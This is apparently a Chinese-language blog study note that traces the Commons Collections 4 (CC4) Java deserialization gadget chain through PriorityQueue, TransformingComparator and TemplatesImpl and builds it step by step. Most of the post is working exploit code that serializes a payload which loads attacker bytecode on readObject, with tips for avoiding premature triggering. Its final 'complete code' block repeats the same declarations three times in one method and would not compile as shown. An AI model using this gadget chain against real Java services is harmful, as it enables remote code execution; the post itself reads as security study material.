cc4

CC4

第一步:分析链

TransformingComparator这个类中的compare()方法调用了 transform() 方法。而 compare() 这个方法也是我们比较喜欢的这种,因为它非常常见。

 public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

找下一个调用compare()的地方,在PriorityQueuesiftDownUsingComparator

 private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

找谁调用了siftDownUsingComparator(),在这个类的siftDown()

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

找谁调用了siftDown(),在这个类的heapify

   private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

heapify()readobject()里面

 private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

第二步

直接写代码

 TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    serialize(priorityQueue);
    unserialize("ser.bin");

但是发现什么也有没有发生,调试一下,在readobject下个断点
发现问题出在heapify()

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

这个size没有赋值,为0,然后size >>> 1后也为0,我们要给他赋值。
value >>> num -- num 指定要移位值 value 移动的位数

要修改 Size,必然要先明白 Size 是什么,Size 就是 PriorityQueue 这个队列的长度,简单理解,就是数组的长度。现在我们这个数组的长度为 0,0 - 1 = -1,所以会直接跳出循环,不能弹计算器。

priorityQueue.add(1); priorityQueue.add(2);
这样就可以让他成功执行,我们试试

   TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);

第三步

虽然可以成功弹计算器,但是现在我们写的这个 EXP 还是会报错的,报错原因如下:

在我们进行 priorityQueue.add(1) 这个语句的时候,它内部会自动进行 compare() 方法的执行,然后调用 transform(),现在的这种情况就意味着,我还没有开始序列化与反序列化,代码就跳到弹计算器那里去了

我们来解析一下:
add()函数

public boolean add(E e) {
    return offer(e);
}

然后进入offer()

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

因为e不为null,i不为0,进入siftUP()

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

comparator不为null,进入siftUpUsingComparator(k, x)

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

调用compare,成功执行,所以我们要避免这种情况

第四步

    TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

将其中的一个参数修改,可以先让 transformingComparator 的值成为一个无关的对象,在 add 完之后再用反射修改。

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, chainedTransformer);

修改完的代码

   TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, chainedTransformer);

    serialize(priorityQueue);
    unserialize("ser.bin");

完整代码

public class cc4 {
public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    serialize(priorityQueue);
    unserialize("ser.bin");//第一步

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);//第二步


    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, chainedTransformer);

    serialize(priorityQueue);
    unserialize("ser.bin");




}

public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);

}

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
    Object obj = ois.readObject();
    ois.close();
    return obj;
}


}
posted @ 2024-07-25 01:20  毛利_小五郎  阅读(40)  评论(0)    收藏  举报